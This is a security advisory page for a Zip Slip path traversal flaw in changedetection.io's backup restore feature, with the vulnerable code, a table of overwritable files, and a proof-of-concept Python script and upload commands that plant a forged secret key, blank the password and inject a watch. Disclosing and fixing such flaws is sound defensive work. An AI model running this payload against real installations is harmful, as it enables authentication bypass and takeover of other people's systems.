changedetection.io has Zip Slip vulnerability in the backup restore functionalityGHSA-25g8-2mcf-fcx9
Fix: dgtlmoon/changedetection.io@1d7d812GHSA-25g8-2mcf-fcx9 is a Path Traversal vulnerability in changedetection-io. A fix is available for changedetection-io — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-25g8-2mcf-fcx9.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
changedetection-ioReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives.
Details
A Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives. The application uses zipfile.extractall() without validating entry paths, allowing ../ sequences to escape the extraction directory.
Vulnerable Code (lines 50-53):
def restore_backup(self, filename):
with zipfile.ZipFile(filename, 'r') as zip_ref:
# VULNERABLE: No path validation before extraction
zip_ref.extractall(self.datastore_path)
The extractall() function preserves the relative paths stored within the ZIP archive. When a malicious ZIP contains entries with ../ path traversal sequences, these files are extracted outside the intended directory.
| Path in ZIP | Target File | Impact |
|---|---|---|
| ../secret.txt | Flask secret key | Session forgery, auth bypass |
| ../changedetection.json | App settings | Disable password, inject backdoor |
| ../url-watches.json | Watch index | Inject malicious watches |
| ../{uuid}/watch.json | Watch config | Modify any watch |
Attacker uploads ZIP via the backup restore functionality at /backups/restore Application extracts files without validation, writing attacker content to sensitive locations
PoC
Step 1: Create Malicious ZIP
import zipfile
import json
with zipfile.ZipFile("zipslip.zip", "w") as zf:
# Escape extraction directory with ../
zf.writestr("../secret.txt", "ATTACKER-CONTROLLED-SECRET")
zf.writestr("../changedetection.json", json.dumps({
"settings": {"application": {"password": ""}}
}))
zf.writestr("../pwned-uuid-1234/watch.json", json.dumps({
"url": "https://attacker.com/zipslip-pwned",
"title": "🔴 ZIPSLIP-PROOF"
}))
Step 2: Upload via Restore Endpoint
-F "[email protected]" \
-F "include_watches=y" \
-F "include_settings=y"
###Step 3: Verify Path Traversal
Check if watch escaped to /datastore/
###ls -la /datastore/
Look for: pwned-uuid-1234/
Verify in UI
curl "http://target:5000/" | grep "ZIPSLIP"
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | changedetection-io | all versions | 0.54.4pip install --upgrade 'changedetection-io==0.54.4' |
Affected Products
changedetectionwebtechnologiesDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for changedetection-io, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update changedetection-io to 0.54.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-25g8-2mcf-fcx9 is resolved across your whole dependency graph.
Workarounds
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
Frequently Asked Questions
Is GHSA-25g8-2mcf-fcx9 in your dependencies?
Find it across PyPI, including transitive dependencies.